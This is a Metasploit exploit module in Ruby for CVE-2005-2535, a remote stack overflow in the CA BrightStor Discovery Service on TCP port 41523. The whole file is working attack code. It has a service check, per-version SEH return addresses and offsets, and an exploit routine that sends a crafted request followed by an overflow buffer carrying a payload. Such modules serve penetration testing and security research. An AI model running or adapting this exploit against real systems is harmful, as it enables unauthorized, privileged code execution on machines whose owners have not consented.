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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'CA BrightStor Discovery Service TCP Overflow',
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        'Description' => %q{
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          This module exploits a vulnerability in the CA BrightStor
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          Discovery Service. This vulnerability occurs when a specific
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          type of request is sent to the TCP listener on port 41523.
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          This vulnerability was discovered by cybertronic[at]gmx.net
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          and affects all known versions of the BrightStor product.
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          This module is based on the 'cabrightstor_disco' exploit by
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          HD Moore.
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        },
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        'Author' => [ 'hdm', 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-2535'],
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          [ 'OSVDB', '13814'],
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          [ 'BID', '12536'],
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          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
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          [ 'EDB', '1131']
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        ],
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 2048,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => %w{win},
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        'Targets' => [
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          [
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            'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
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            {
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              'Platform' => 'win',
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              'Ret' => 0x23803b20, # pop/pop/ret
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              'Offset' => 1032,
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            },
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          ],
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          [
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            'cheyprod.dll 12/12/2003',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x23805714, # pop/pop/ret
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              'Offset' => 1024,
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            },
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          ],
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          [
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            'cheyprod.dll 07/21/2004',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x23805d10, # pop/pop/ret
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              'Offset' => 1024,
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            },
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          ],
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        ],
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        'DisclosureDate' => '2005-02-14',
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        'DefaultTarget' => 1,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(41523)
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      ]
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    )
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  end
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  def check
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    # The first request should have no reply
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    csock = Rex::Socket::Tcp.create(
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      'PeerHost' => datastore['RHOST'],
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      'PeerPort' => datastore['RPORT'],
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      'Context' =>
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        {
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          'Msf' => framework,
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          'MsfExploit' => self,
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        }
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    )
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    csock.put('META')
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    x = csock.get_once(-1, 3)
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    csock.close
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    # The second request should be replied with the host name
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    csock = Rex::Socket::Tcp.create(
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      'PeerHost' => datastore['RHOST'],
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      'PeerPort' => datastore['RPORT'],
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      'Context' =>
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        {
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          'Msf' => framework,
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          'MsfExploit' => self,
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        }
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    )
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    csock.put('hMETA')
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    y = csock.get_once(-1, 3)
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    csock.close
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    if (y and not x)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    buf = rand_text_english(4096)
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    # Overwriting the return address works well, but the only register
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    # pointing back to our code is 'esp'. The following stub overwrites
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    # the SEH frame instead, making things a bit easier.
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    seh = generate_seh_payload(target.ret)
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    buf[target['Offset'], seh.length] = seh
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    # Make sure the return address is invalid to trigger SEH
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    buf[900, 100] = (rand(127) + 128).chr * 100
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    # SERVICEPC is the client host name actually =P (thanks Juliano!)
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    req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
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    req << buf
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    sock.put(req)
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    sock.get_once
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    handler
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    disconnect
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  end
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end
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